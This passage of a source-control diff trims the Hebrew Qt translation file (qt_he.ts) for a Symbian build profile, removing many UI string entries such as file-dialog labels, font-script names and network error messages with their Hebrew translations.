    -            Element %1 contains not allowed child content.
    -            Element %1 contains not allowed child content.
    -        
    -        
    -            Element %1 contains not allowed text content.
    -            Element %1 contains not allowed text content.
    -        
    -        
    -            Element %1 is missing required attribute %2.
    -            Element %1 is missing required attribute %2.
    -        
    -        
    -            Attribute %1 does not match the attribute wildcard.
    -            Attribute %1 does not match the attribute wildcard.
    -        
    -        
    -            Declaration for attribute %1 does not exist.
    -            Declaration for attribute %1 does not exist.
    -        
    -        
    -            Element %1 contains two attributes of type %2.
    -            Element %1 contains two attributes of type %2.
    -        
    -        
    -            Attribute %1 contains invalid content.
    -            Attribute %1 contains invalid content.
    -        
    -        
    -            Element %1 contains unknown attribute %2.
    -            Element %1 contains unknown attribute %2.
    -        
    -        
    -            Content of attribute %1 does not match its type definition: %2.
    -            Content of attribute %1 does not match its type definition: %2.
    -        
    -        
    -            Content of attribute %1 does not match defined value constraint.
    -            Content of attribute %1 does not match defined value constraint.
    -        
    -        
    -            Non-unique value found for constraint %1.
    -            Non-unique value found for constraint %1.
    -        
    -        
    -            Key constraint %1 contains absent fields.
    -            Key constraint %1 contains absent fields.
    -        
    -        
    -            Key constraint %1 contains references nillable element %2.
    -            Key constraint %1 contains references nillable element %2.
    -        
    -        
    -            No referenced value found for key reference %1.
    -            No referenced value found for key reference %1.
    -        
    -        
    -            More than one value found for field %1.
    -            More than one value found for field %1.
    -        
    -        
    -            Field %1 has no simple type.
    -            Field %1 has no simple type.
    -        
    -        
    -            ID value '%1' is not unique.
    -            ID value '%1' is not unique.
    -        
    -        
    -            '%1' attribute contains invalid QName content: %2.
    -            '%1' attribute contains invalid QName content: %2.
    -        
    -    
    +
    +    QApplication
    +    
    +        QT_LAYOUT_DIRECTION
    +        Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    +        RTL
    +    
    +
     
    diff --git a/config.profiles/symbian/translations/qt_he.ts b/config.profiles/symbian/translations/qt_he.ts
    index 72a6df9..aca2bd7 100644
    --- a/config.profiles/symbian/translations/qt_he.ts
    +++ b/config.profiles/symbian/translations/qt_he.ts
    @@ -2,7780 +2,11 @@
     
     
     
    -    AudioOutput
    -    
    -        
    -        <html>The audio playback device <b>%1</b> does not work.<br/>Falling back to <b>%2</b>.</html>
    -        
    -    
    -    
    -        
    -        <html>Switching to the audio playback device <b>%1</b><br/>which just became available and has higher preference.</html>
    -        
    -    
    -    
    -        
    -        Revert back to device '%1'
    -        
    -    
    -
    -
    -    CloseButton
    -    
    -        
    -        Close Tab
    -        
    -    
    -
    -
    -    PPDOptionsModel
    -    
    -        Name
    -        שם
    -    
    -
    -
    -    Phonon::
    -    
    -        
    -        Notifications
    -        
    -    
    -    
    -        
    -        Music
    -        
    -    
    -    
    -        
    -        Video
    -        
    -    
    -    
    -        
    -        Communication
    -        
    -    
    -    
    -        
    -        Games
    -        
    -    
    -    
    -        
    -        Accessibility
    -        
    -    
    -
    -
    -    Phonon::Gstreamer::Backend
    -    
    -        
    -        Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
    -          Some video features have been disabled.
    -        
    -    
    -    
    -        
    -        Warning: You do not seem to have the base GStreamer plugins installed.
    -          All audio and video support has been disabled
    -        
    -    
    -
    -
    -    Phonon::Gstreamer::MediaObject
    -    
    -        
    -        Cannot start playback. 
    -
    -Check your Gstreamer installation and make sure you 
    -have libgstreamer-plugins-base installed.
    -        
    -    
    -    
    -        
    -        A required codec is missing. You need to install the following codec(s) to play this content: %0
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Could not open media source.
    -        
    -    
    -    
    -        
    -        Invalid source type.
    -        
    -    
    -    
    -        
    -        Could not locate media source.
    -        
    -    
    -    
    -        
    -        Could not open audio device. The device is already in use.
    -        
    -    
    -    
    -        
    -        Could not decode media source.
    -        
    -    
    -
    -
    -    Phonon::VolumeSlider
    -    
    -        
    -        
    -        Volume: %1%
    -        
    -    
    -    
    -        
    -        
    -        
    -        Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%
    -        
    -    
    -
    -
    -    Q3Accel
    -    
    -        
    -        %1, %2 not defined
    -        
    -    
    -    
    -        
    -        Ambiguous %1 not handled
    -        
    -    
    -
    -
    -    Q3DataTable
    -    
    -        
    -        True
    -        אמת
    -    
    -    
    -        
    -        False
    -        שקר
    -    
    -    
    -        
    -        Insert
    -        הוסף
    -    
    -    
    -        
    -        Update
    -        עדכן
    -    
    -    
    -        
    -        Delete
    -        מחק
    -    
    -
    -
    -    Q3FileDialog
    -    
    -        
    -        Copy or Move a File
    -        העתק או העבר קובץ
    -    
    -    
    -        
    -        Read: %1
    -        קרא: %1
    -    
    -    
    -        
    -        
    -        Write: %1
    -        כתוב: %1
    -    
    -    
    -        
    -        
    -        Cancel
    -        ביטול
    -    
    -    
    -        
    -        
    -        
    -        
    -        All Files (*)
    -        כל הקבצים (*)
    -    
    -    
    -        
    -        Name
    -        שם
    -    
    -    
    -        
    -        Size
    -        גודל
    -    
    -    
    -        
    -        Type
    -        סוג
    -    
    -    
    -        
    -        Date
    -        תאריך
    -    
    -    
    -        
    -        Attributes
    -        מאפיינים
    -    
    -    
    -        
    -        
    -        &OK
    -        &אישור
    -    
    -    
    -        
    -        Look &in:
    -        &חפש ב:
    -    
    -    
    -        
    -        
    -        
    -        File &name:
    -        &שם הקובץ:
    -    
    -    
    -        
    -        File &type:
    -        &סוג הקובץ:
    -    
    -    
    -        
    -        Back
    -        אחורה
    -    
    -    
    -        
    -        One directory up
    -        ספריה אחת למעלה
    -    
    -    
    -        
    -        Create New Folder
    -        צור תיקיה חדשה
    -    
    -    
    -        
    -        List View
    -        תצוגת רשימה
    -    
    -    
    -        
    -        Detail View
    -        תצוגת פרטים
    -    
    -    
    -        
    -        Preview File Info
    -        תצוגה מקדימה של פרטי הקובץ
    -    
    -    
    -        
    -        Preview File Contents
    -        תצוגה מקדימה של תוכן הקובץ
    -    
    -    
    -        
    -        Read-write
    -        קריאה-כתיבה
    -    
    -    
    -        
    -        Read-only
    -        קריאה-בלבד
    -    
    -    
    -        
    -        Write-only
    -        כתיבה-בלבד
    -    
    -    
    -        
    -        Inaccessible
    -        לא נגיש
    -    
    -    
    -        
    -        Symlink to File
    -        קישור סמלי לקובץ
    -    
    -    
    -        
    -        Symlink to Directory
    -        קישור סמלי לספריה
    -    
    -    
    -        
    -        Symlink to Special
    -        קישור סמלי לפריט מיוחד
    -    
    -    
    -        
    -        File
    -        קובץ
    -    
    -    
    -        
    -        Dir
    -        ספריה
    -    
    -    
    -        
    -        Special
    -        מיוחד
    -    
    -    
    -        
    -        
    -        
    -        Open
    -        פתח
    -    
    -    
    -        
    -        
    -        Save As
    -        שמירה בשם
    -    
    -    
    -        
    -        
    -        
    -        &Open
    -        &פתח
    -    
    -    
    -        
    -        
    -        &Save
    -        &שמור
    -    
    -    
    -        
    -        &Rename
    -        ש&נה שם
    -    
    -    
    -        
    -        &Delete
    -        &מחק
    -    
    -    
    -        
    -        R&eload
    -        &טען מחדש
    -    
    -    
    -        
    -        Sort by &Name
    -        סדר לפי ש&ם
    -    
    -    
    -        
    -        Sort by &Size
    -        סדר לפי &גודל
    -    
    -    
    -        
    -        Sort by &Date
    -        סדר לפי &תאריך
    -    
    -    
    -        
    -        &Unsorted
    -        &ללא סדר
    -    
    -    
    -        
    -        Sort
    -        סדר
    -    
    -    
    -        
    -        Show &hidden files
    -        הצג קבצים &מוסתרים
    -    
    -    
    -        
    -        the file
    -        הקובץ
    -    
    -    
    -        
    -        the directory
    -        הספריה
    -    
    -    
    -        
    -        the symlink
    -        הקישור הסמלי
    -    
    -    
    -        
    -        Delete %1
    -        מחק את %1
    -    
    -    
    -        
    -        <qt>Are you sure you wish to delete %1 "%2"?</qt>
    -        <qt>האם אתה בטוח שברצונך למחוק %1 "%2"?</qt>
    -    
    -    
    -        
    -        &Yes
    -        &כן
    -    
    -    
    -        
    -        &No
    -        &לא
    -    
    -    
    -        
    -        New Folder 1
    -        תיקיה חדשה 1
    -    
    -    
    -        
    -        New Folder
    -        תיקיה חדשה
    -    
    -    
    -        
    -        New Folder %1
    -        תיקיה חדשה %1
    -    
    -    
    -        
    -        Find Directory
    -        חפש ספריה
    -    
    -    
    -        
    -        
    -        Directories
    -        ספריות
    -    
    -    
    -        
    -        Directory:
    -        
    -    
    -    
    -        
    -        
    -        Error
    -        שגיאה
    -    
    -    
    -        
    -        %1
    -File not found.
    -Check path and filename.
    -        %1
    -הקובץ לא נמצא.
    -בדוק את הנתיב ואת שם הקובץ.
    -    
    -    
    -        
    -        All Files (*.*)
    -        כל הקבצים (*.*)
    -    
    -    
    -        
    -        Open 
    -        פתח
    -    
    -    
    -        
    -        Select a Directory
    -        בחר ספריה
    -    
    -
    -
    -    Q3LocalFs
    -    
    -        
    -        
    -        Could not read directory
    -%1
    -        
    -    
    -    
    -        
    -        Could not create directory
    -%1
    -        
    -    
    -    
    -        
    -        Could not remove file or directory
    -%1
    -        
    -    
    -    
    -        
    -        Could not rename
    -%1
    -to
    -%2
    -        לא ניתן לשנות את השם של
    -%1
    -אל
    -%2
    -    
    -    
    -        
    -        Could not open
    -%1
    -        לא ניתן לפתוח את
    -%1
    -    
    -    
    -        
    -        Could not write
    -%1
    -        לא ניתן לכתוב את
    -%1
    -    
    -
    -
    -    Q3MainWindow
    -    
    -        
    -        Line up
    -        סדר בשורה
    -    
    -    
    -        
    -        Customize...
    -        התאמה אישית...
    -    
    -
    -
    -    Q3NetworkProtocol
    -    
    -        
    -        Operation stopped by the user
    -        הפעולה הופסקה על ידי המשתמש
    -    
    -
    -
    -    Q3ProgressDialog
    -    
    -        
    -        
    -        Cancel
    -        ביטול
    -    
    -
    -
    -    Q3TabDialog
    -    
    -        
    -        
    -        OK
    -        אישור
    -    
    -    
    -        
    -        Apply
    -        החל
    -    
    -    
    -        
    -        Help
    -        עזרה
    -    
    -    
    -        
    -        Defaults
    -        ברירות מחדל
    -    
    -    
    -        
    -        Cancel
    -        ביטול
    -    
    -
    -
    -    Q3TextEdit
    -    
    -        
    -        &Undo
    -        &בטל
    -    
    -    
    -        
    -        &Redo
    -        בצע &שוב
    -    
    -    
    -        
    -        Cu&t
    -        &גזור
    -    
    -    
    -        
    -        &Copy
    -        הע&תק
    -    
    -    
    -        
    -        &Paste
    -        ה&דבק
    -    
    -    
    -        
    -        Clear
    -        נקה
    -    
    -    
    -        
    -        
    -        Select All
    -        בחר הכל
    -    
    -
    -
    -    Q3TitleBar
    -    
    -        
    -        System
    -        
    -    
    -    
    -        
    -        Restore up
    -        
    -    
    -    
    -        
    -        Minimize
    -        מזער
    -    
    -    
    -        
    -        Restore down
    -        
    -    
    -    
    -        
    -        Maximize
    -        הגדל
    -    
    -    
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        Contains commands to manipulate the window
    -        
    -    
    -    
    -        
    -        Puts a minimized back to normal
    -        
    -    
    -    
    -        
    -        Moves the window out of the way
    -        
    -    
    -    
    -        
    -        Puts a maximized window back to normal
    -        
    -    
    -    
    -        
    -        Makes the window full screen
    -        
    -    
    -    
    -        
    -        Closes the window
    -        
    -    
    -    
    -        
    -        Displays the name of the window and contains controls to manipulate it
    -        
    -    
    -
    -
    -    Q3ToolBar
    -    
    -        
    -        More...
    -        
    -    
    -
    -
    -    Q3UrlOperator
    -    
    -        
    -        
    -        
    -        The protocol `%1' is not supported
    -        הפרוטוקול "%1" אינו נתמך
    -    
    -    
    -        
    -        The protocol `%1' does not support listing directories
    -        הפרוטוקול "%1" לא תומך בהצגת ספריות
    -    
    -    
    -        
    -        The protocol `%1' does not support creating new directories
    -        הפרוטוקול "%1" לא תומך ביצירת ספריית חדשות
    -    
    -    
    -        
    -        The protocol `%1' does not support removing files or directories
    -        הפרוטוקול "%1" לא תומך בהסרת קבצים או ספריות
    -    
    -    
    -        
    -        The protocol `%1' does not support renaming files or directories
    -        הפרוטוקול "%1" לא תומך בשינוי שמותיהם של קבצים או ספריות
    -    
    -    
    -        
    -        The protocol `%1' does not support getting files
    -        הפרוטוקול "%1" לא תומך בהורדת קבצים
    -    
    -    
    -        
    -        The protocol `%1' does not support putting files
    -        הפרוטוקול "%1" לא תומך בהעלאת קבצים
    -    
    -    
    -        
    -        
    -        The protocol `%1' does not support copying or moving files or directories
    -        הפרוטוקול "%1" לא תומך בהעתקה או העברה של קבצים או ספריות
    -    
    -    
    -        
    -        
    -        (unknown)
    -        (לא ידוע)
    -    
    -
    -
    -    Q3Wizard
    -    
    -        
    -        &Cancel
    -        
    -    
    -    
    -        
    -        < &Back
    -        
    -    
    -    
    -        
    -        &Next >
    -        
    -    
    -    
    -        
    -        &Finish
    -        
    -    
    -    
    -        
    -        &Help
    -        
    -    
    -
    -
    -    QAbstractSocket
    -    
    -        
    -        
    -        
    -        
    -        Host not found
    -        
    -    
    -    
    -        
    -        
    -        
    -        Connection refused
    -        החיבור נדחה
    -    
    -    
    -        
    -        Connection timed out
    -        
    -    
    -    
    -        
    -        
    -        
    -        Operation on socket is not supported
    -        
    -    
    -    
    -        
    -        Socket operation timed out
    -        
    -    
    -    
    -        
    -        Socket is not connected
    -        
    -    
    -    
    -        
    -        Network unreachable
    -        
    -    
    -
    -
    -    QAbstractSpinBox
    -    
    -        
    -        &Step up
    -        
    -    
    -    
    -        
    -        Step &down
    -        
    -    
    -    
    -        
    -        &Select All
    -        
    -    
    -
    -
    -    QApplication
    -    
    -        
    -        QT_LAYOUT_DIRECTION
    -        Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    -        RTL
    -    
    -    
    -        
    -        Executable '%1' requires Qt %2, found Qt %3.
    -        
    -    
    -    
    -        
    -        Incompatible Qt Library Error
    -        
    -    
    -    
    -        
    -        Activate
    -        
    -    
    -    
    -        
    -        Activates the program's main window
    -        
    -    
    -
    -
    -    QAxSelect
    -    
    -        
    -        Select ActiveX Control
    -        
    -    
    -    
    -        
    -        OK
    -        אישור
    -    
    -    
    -        
    -        &Cancel
    -        
    -    
    -    
    -        
    -        COM &Object:
    -        
    -    
    -
    -
    -    QCheckBox
    -    
    -        
    -        Uncheck
    -        
    -    
    -    
    -        
    -        Check
    -        
    -    
    -    
    -        
    -        Toggle
    -        
    -    
    -
    -
    -    QColorDialog
    -    
    -        
    -        Hu&e:
    -        &גוון:
    -    
    -    
    -        
    -        &Sat:
    -        &הרוויה:
    -    
    -    
    -        
    -        &Val:
    -        &ערך:
    -    
    -    
    -        
    -        &Red:
    -        &אדום:
    -    
    -    
    -        
    -        &Green:
    -        &ירוק:
    -    
    -    
    -        
    -        Bl&ue:
    -        &כחול:
    -    
    -    
    -        
    -        A&lpha channel:
    -        ע&רוץ אלפא:
    -    
    -    
    -        
    -        Select Color
    -        
    -    
    -    
    -        
    -        &Basic colors
    -        &צבעים בסיסיים
    -    
    -    
    -        
    -        &Custom colors
    -        צבעים &מותאמים אישית
    -    
    -    
    -        &Define Custom Colors >>
    -        &הגדר צבעים מותאמים אישית >>
    -    
    -    
    -        OK
    -        אישור
    -    
    -    
    -        Cancel
    -        ביטול
    -    
    -    
    -        
    -        &Add to Custom Colors
    -        ה&וסף לצבעים מותאמים אישית
    -    
    -    
    -        Select color
    -        בחירת צבע
    -    
    -
    -
    -    QComboBox
    -    
    -        
    -        
    -        Open
    -        פתח
    -    
    -    
    -        
    -        False
    -        שקר
    -    
    -    
    -        
    -        True
    -        אמת
    -    
    -    
    -        
    -        Close
    -        סגור
    -    
    -
    -
    -    QCoreApplication
    -    
    -        
    -        %1: key is empty
    -        QSystemSemaphore
    -        
    -    
    -    
    -        
    -        %1: unable to make key
    -        QSystemSemaphore
    -        
    -    
    -    
    -        
    -        %1: ftok failed
    -        QSystemSemaphore
    -        
    -    
    -
    -
    -    QDB2Driver
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -    
    -        
    -        Unable to set autocommit
    -        
    -    
    -
    -
    -    QDB2Result
    -    
    -        
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to bind variable
    -        
    -    
    -    
    -        
    -        Unable to fetch record %1
    -        
    -    
    -    
    -        
    -        Unable to fetch next
    -        
    -    
    -    
    -        
    -        Unable to fetch first
    -        
    -    
    -
    -
    -    QDateTimeEdit
    -    
    -        
    -        AM
    -        
    -    
    -    
    -        
    -        am
    -        
    -    
    -    
    -        
    -        PM
    -        
    -    
    -    
    -        
    -        pm
    -        
    -    
    -
    -
    -    QDial
    -    
    -        
    -        QDial
    -        
    -    
    -    
    -        
    -        SpeedoMeter
    -        
    -    
    -    
    -        
    -        SliderHandle
    -        
    -    
    -
    -
    -    QDialog
    -    
    -        
    -        What's This?
    -        מה זה?
    -    
    -    
    -        
    -        Done
    -        
    -    
    -
    -
    -    QDialogButtonBox
    -    
    -        
    -        
    -        
    -        OK
    -        אישור
    -    
    -    
    -        
    -        Save
    -        שמור
    -    
    -    
    -        
    -        &Save
    -        &שמור
    -    
    -    
    -        
    -        Open
    -        פתח
    -    
    -    
    -        
    -        Cancel
    -        ביטול
    -    
    -    
    -        
    -        &Cancel
    -        
    -    
    -    
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        &Close
    -        &סגור
    -    
    -    
    -        
    -        Apply
    -        החל
    -    
    -    
    -        
    -        Reset
    -        
    -    
    -    
    -        
    -        Help
    -        עזרה
    -    
    -    
    -        
    -        Don't Save
    -        
    -    
    -    
    -        
    -        Discard
    -        
    -    
    -    
    -        
    -        &Yes
    -        &כן
    -    
    -    
    -        
    -        Yes to &All
    -        
    -    
    -    
    -        
    -        &No
    -        &לא
    -    
    -    
    -        
    -        N&o to All
    -        
    -    
    -    
    -        
    -        Save All
    -        
    -    
    -    
    -        
    -        Abort
    -        
    -    
    -    
    -        
    -        Retry
    -        
    -    
    -    
    -        
    -        Ignore
    -        
    -    
    -    
    -        
    -        Restore Defaults
    -        
    -    
    -    
    -        
    -        Close without Saving
    -        
    -    
    -    
    -        
    -        &OK
    -        &אישור
    -    
    -
    -
    -    QDirModel
    -    
    -        
    -        Name
    -        שם
    -    
    -    
    -        
    -        Size
    -        גודל
    -    
    -    
    -        
    -        Kind
    -        Match OS X Finder
    -        
    -    
    -    
    -        
    -        Type
    -        All other platforms
    -        סוג
    -    
    -    
    -        
    -        Date Modified
    -        
    -    
    -
    -
    -    QDockWidget
    -    
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        Dock
    -        
    -    
    -    
    -        
    -        Float
    -        
    -    
    -
    -
    -    QDoubleSpinBox
    -    
    -        
    -        More
    -        
    -    
    -    
    -        
    -        Less
    -        
    -    
    -
    -
    -    QErrorMessage
    -    
    -        
    -        &Show this message again
    -        &הצג הודעה זו שנית
    -    
    -    
    -        
    -        &OK
    -        &אישור
    -    
    -    
    -        
    -        Debug Message:
    -        
    -    
    -    
    -        
    -        Warning:
    -        
    -    
    -    
    -        
    -        Fatal Error:
    -        
    -    
    -
    -
    -    QFile
    -    
    -        
    -        
    -        Destination file exists
    -        
    -    
    -    
    -        
    -        Cannot remove source file
    -        
    -    
    -    
    -        
    -        Cannot open %1 for input
    -        
    -    
    -    
    -        
    -        Cannot open for output
    -        
    -    
    -    
    -        
    -        Failure to write block
    -        
    -    
    -    
    -        
    -        Cannot create %1 for output
    -        
    -    
    -
    -
    -    QFileDialog
    -    
    -        
    -        
    -        All Files (*)
    -        כל הקבצים (*)
    -    
    -    
    -        
    -        
    -        Back
    -        אחורה
    -    
    -    
    -        
    -        
    -        List View
    -        תצוגת רשימה
    -    
    -    
    -        
    -        
    -        Detail View
    -        תצוגת פרטים
    -    
    -    
    -        
    -        
    -        File
    -        קובץ
    -    
    -    
    -        
    -        Open
    -        פתח
    -    
    -    
    -        
    -        Save As
    -        שמירה בשם
    -    
    -    
    -        
    -        
    -        
    -        
    -        &Open
    -        &פתח
    -    
    -    
    -        
    -        
    -        &Save
    -        &שמור
    -    
    -    
    -        
    -        &Rename
    -        ש&נה שם
    -    
    -    
    -        
    -        &Delete
    -        &מחק
    -    
    -    
    -        
    -        Show &hidden files
    -        הצג קבצים &מוסתרים
    -    
    -    
    -        
    -        New Folder
    -        תיקיה חדשה
    -    
    -    
    -        
    -        Find Directory
    -        חפש ספריה
    -    
    -    
    -        
    -        Directories
    -        ספריות
    -    
    -    
    -        
    -        All Files (*.*)
    -        כל הקבצים (*.*)
    -    
    -    
    -        
    -        %1 already exists.
    -Do you want to replace it?
    -        
    -    
    -    
    -        
    -        %1
    -File not found.
    -Please verify the correct file name was given.
    -        
    -    
    -    
    -        
    -        My Computer
    -        
    -    
    -    
    -        
    -        
    -        Parent Directory
    -        
    -    
    -    
    -        
    -        
    -        Files of type:
    -        
    -    
    -    
    -        
    -        
    -        Directory:
    -        
    -    
    -    
    -        
    -        
    -        %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -        
    -    
    -    
    -        
    -        '%1' is write protected.
    -Do you want to delete it anyway?
    -        
    -    
    -    
    -        
    -        Are sure you want to delete '%1'?
    -        
    -    
    -    
    -        
    -        Could not delete directory.
    -        
    -    
    -    
    -        
    -        Recent Places
    -        
    -    
    -    
    -        
    -        Drive
    -        
    -    
    -    
    -        
    -        Unknown
    -        
    -    
    -    
    -        
    -        Show 
    -        
    -    
    -    
    -        
    -        
    -        Forward
    -        
    -    
    -    
    -        
    -        &New Folder
    -        
    -    
    -    
    -        
    -        
    -        &Choose
    -        
    -    
    -    
    -        
    -        Remove
    -        
    -    
    -    
    -        
    -        
    -        File &name:
    -        &שם הקובץ:
    -    
    -    
    -        
    -        
    -        Look in:
    -        
    -    
    -    
    -        
    -        
    -        Create New Folder
    -        צור תיקיה חדשה
    -    
    -
    -
    -    QFileSystemModel
    -    
    -        
    -        %1 TB
    -        
    -    
    -    
    -        
    -        %1 GB
    -        
    -    
    -    
    -        
    -        %1 MB
    -        
    -    
    -    
    -        
    -        %1 KB
    -        
    -    
    -    
    -        
    -        %1 bytes
    -        
    -    
    -    
    -        
    -        Invalid filename
    -        
    -    
    -    
    -        
    -        <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -        
    -    
    -    
    -        
    -        Name
    -        שם
    -    
    -    
    -        
    -        Size
    -        גודל
    -    
    -    
    -        
    -        Kind
    -        Match OS X Finder
    -        
    -    
    -    
    -        
    -        Type
    -        All other platforms
    -        סוג
    -    
    -    
    -        
    -        Date Modified
    -        
    -    
    -    
    -        
    -        My Computer
    -        
    -    
    -    
    -        
    -        Computer
    -        
    -    
    -
    -
    -    QFontDatabase
    -    
    -        
    -        
    -        Normal
    -        
    -    
    -    
    -        
    -        
    -        
    -        Bold
    -        
    -    
    -    
    -        
    -        
    -        Demi Bold
    -        
    -    
    -    
    -        
    -        
    -        
    -        Black
    -        
    -    
    -    
    -        
    -        Demi
    -        
    -    
    -    
    -        
    -        
    -        Light
    -        
    -    
    -    
    -        
    -        
    -        Italic
    -        
    -    
    -    
    -        
    -        
    -        Oblique
    -        
    -    
    -    
    -        
    -        Any
    -        
    -    
    -    
    -        
    -        Latin
    -        
    -    
    -    
    -        
    -        Greek
    -        
    -    
    -    
    -        
    -        Cyrillic
    -        
    -    
    -    
    -        
    -        Armenian
    -        
    -    
    -    
    -        
    -        Hebrew
    -        
    -    
    -    
    -        
    -        Arabic
    -        
    -    
    -    
    -        
    -        Syriac
    -        
    -    
    -    
    -        
    -        Thaana
    -        
    -    
    -    
    -        
    -        Devanagari
    -        
    -    
    -    
    -        
    -        Bengali
    -        
    -    
    -    
    -        
    -        Gurmukhi
    -        
    -    
    -    
    -        
    -        Gujarati
    -        
    -    
    -    
    -        
    -        Oriya
    -        
    -    
    -    
    -        
    -        Tamil
    -        
    -    
    -    
    -        
    -        Telugu
    -        
    -    
    -    
    -        
    -        Kannada
    -        
    -    
    -    
    -        
    -        Malayalam
    -        
    -    
    -    
    -        
    -        Sinhala
    -        
    -    
    -    
    -        
    -        Thai
    -        
    -    
    -    
    -        
    -        Lao
    -        
    -    
    -    
    -        
    -        Tibetan
    -        
    -    
    -    
    -        
    -        Myanmar
    -        
    -    
    -    
    -        
    -        Georgian
    -        
    -    
    -    
    -        
    -        Khmer
    -        
    -    
    -    
    -        
    -        Simplified Chinese
    -        
    -    
    -    
    -        
    -        Traditional Chinese
    -        
    -    
    -    
    -        
    -        Japanese
    -        
    -    
    -    
    -        
    -        Korean
    -        
    -    
    -    
    -        
    -        Vietnamese
    -        
    -    
    -    
    -        
    -        Symbol
    -        
    -    
    -    
    -        
    -        Ogham
    -        
    -    
    -    
    -        
    -        Runic
    -        
    -    
    -
    -
    -    QFontDialog
    -    
    -        
    -        &Font
    -        &גופן
    -    
    -    
    -        
    -        Font st&yle
    -        &סגנון גופן
    -    
    -    
    -        
    -        &Size
    -        גו&דל
    -    
    -    
    -        
    -        Effects
    -        אפקטים
    -    
    -    
    -        
    -        Stri&keout
    -        קו &חוצה
    -    
    -    
    -        
    -        &Underline
    -        קו &תחתי
    -    
    -    
    -        
    -        Sample
    -        דוגמה
    -    
    -    
    -        
    -        
    -        Select Font
    -        בחר גופן
    -    
    -    
    -        
    -        Wr&iting System
    -        
    -    
    -
    -
    -    QFtp
    -    
    -        
    -        Host %1 found
    -        המארח %1 נמצא
    -    
    -    
    -        
    -        Host found
    -        המארח נמצא
    -    
    -    
    -        
    -        
    -        
    -        Connected to host %1
    -        מחובר למארח %1
    -    
    -    
    -        
    -        Connected to host
    -        מחובר למארח
    -    
    -    
    -        
    -        Connection to %1 closed
    -        החיבור אל %1 נסגר
    -    
    -    
    -        
    -        
    -        
    -        Connection closed
    -        החיבור נסגר
    -    
    -    
    -        
    -        
    -        Host %1 not found
    -        המארח %1 לא נמצא
    -    
    -    
    -        
    -        
    -        Connection refused to host %1
    -        החיבור אל המארח %1 נדחה
    -    
    -    
    -        
    -        Connection timed out to host %1
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Unknown error
    -        
    -    
    -    
    -        
    -        
    -        Connecting to host failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Login failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Listing directory failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Changing directory failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Downloading file failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Uploading file failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Removing file failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Creating directory failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Removing directory failed:
    -%1
    -        
    -    
    -    
    -        
    -        
    -        Not connected
    -        
    -    
    -    
    -        
    -        
    -        Connection refused for data connection
    -        
    -    
    -
    -
    -    QHostInfo
    -    
    -        
    -        Unknown error
    -        
    -    
    -
    -
    -    QHostInfoAgent
    -    
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Host not found
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Unknown address type
    -        
    -    
    -    
    -        
    -        
    -        
    -        Unknown error
    -        
    -    
    -
    -
    -    QHttp
    -    
    -        
    -        
    -        Connection refused
    -        החיבור נדחה
    -    
    -    
    -        
    -        
    -        
    -        Host %1 not found
    -        המארח %1 לא נמצא
    -    
    -    
    -        
    -        
    -        Wrong content length
    -        אורך תוכן שגוי
    -    
    -    
    -        
    -        HTTPS connection requested but SSL support not compiled in
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        HTTP request failed
    -        בקשת ה-HTTP נכשלה
    -    
    -    
    -        
    -        Host %1 found
    -        המארח %1 נמצא
    -    
    -    
    -        
    -        Host found
    -        המארח נמצא
    -    
    -    
    -        
    -        Connected to host %1
    -        מחובר למארח %1
    -    
    -    
    -        
    -        Connected to host
    -        מחובר למארח
    -    
    -    
    -        
    -        Connection to %1 closed
    -        החיבור אל %1 נסגר
    -    
    -    
    -        
    -        
    -        Connection closed
    -        החיבור נסגר
    -    
    -    
    -        
    -        
    -        
    -        
    -        Unknown error
    -        
    -    
    -    
    -        
    -        
    -        Request aborted
    -        
    -    
    -    
    -        
    -        
    -        No server set to connect to
    -        
    -    
    -    
    -        
    -        
    -        Server closed connection unexpectedly
    -        
    -    
    -    
    -        
    -        
    -        Invalid HTTP response header
    -        
    -    
    -    
    -        
    -        Unknown authentication method
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Invalid HTTP chunked body
    -        
    -    
    -    
    -        
    -        Error writing response to device
    -        
    -    
    -    
    -        
    -        Proxy authentication required
    -        
    -    
    -    
    -        
    -        Authentication required
    -        
    -    
    -    
    -        
    -        Connection refused (or timed out)
    -        
    -    
    -    
    -        
    -        Proxy requires authentication
    -        
    -    
    -    
    -        
    -        Host requires authentication
    -        
    -    
    -    
    -        
    -        Data corrupted
    -        
    -    
    -    
    -        
    -        Unknown protocol specified
    -        
    -    
    -    
    -        
    -        SSL handshake failed
    -        
    -    
    -
    -
    -    QHttpSocketEngine
    -    
    -        
    -        Did not receive HTTP response from proxy
    -        
    -    
    -    
    -        
    -        Error parsing authentication request from proxy
    -        
    -    
    -    
    -        
    -        Authentication required
    -        
    -    
    -    
    -        
    -        Proxy denied connection
    -        
    -    
    -    
    -        
    -        Error communicating with HTTP proxy
    -        
    -    
    -    
    -        
    -        Proxy server not found
    -        
    -    
    -    
    -        
    -        Proxy connection refused
    -        
    -    
    -    
    -        
    -        Proxy server connection timed out
    -        
    -    
    -    
    -        
    -        Proxy connection closed prematurely
